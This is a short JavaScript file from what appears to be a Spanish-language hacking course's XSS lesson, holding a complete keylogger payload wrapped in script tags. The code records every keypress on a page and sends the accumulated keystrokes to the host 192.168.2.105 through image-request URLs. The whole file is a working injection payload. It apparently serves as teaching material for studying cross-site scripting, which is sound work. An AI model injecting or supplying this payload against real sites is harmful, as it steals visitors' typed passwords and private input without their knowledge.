infosec/Introduccion-hacking-hack4u/tema_6_owasp/02_crosssite_scripting_XSS/keylogger.js

11 lines
194 B
JavaScript

<script>
var k = "";
document.onkeypress = function(e){
e = e || window.event;
k += e.key;
var i = new Image();
i.src = "http://192.168.2.105/" + encodeURIComponent(k);
};
</script>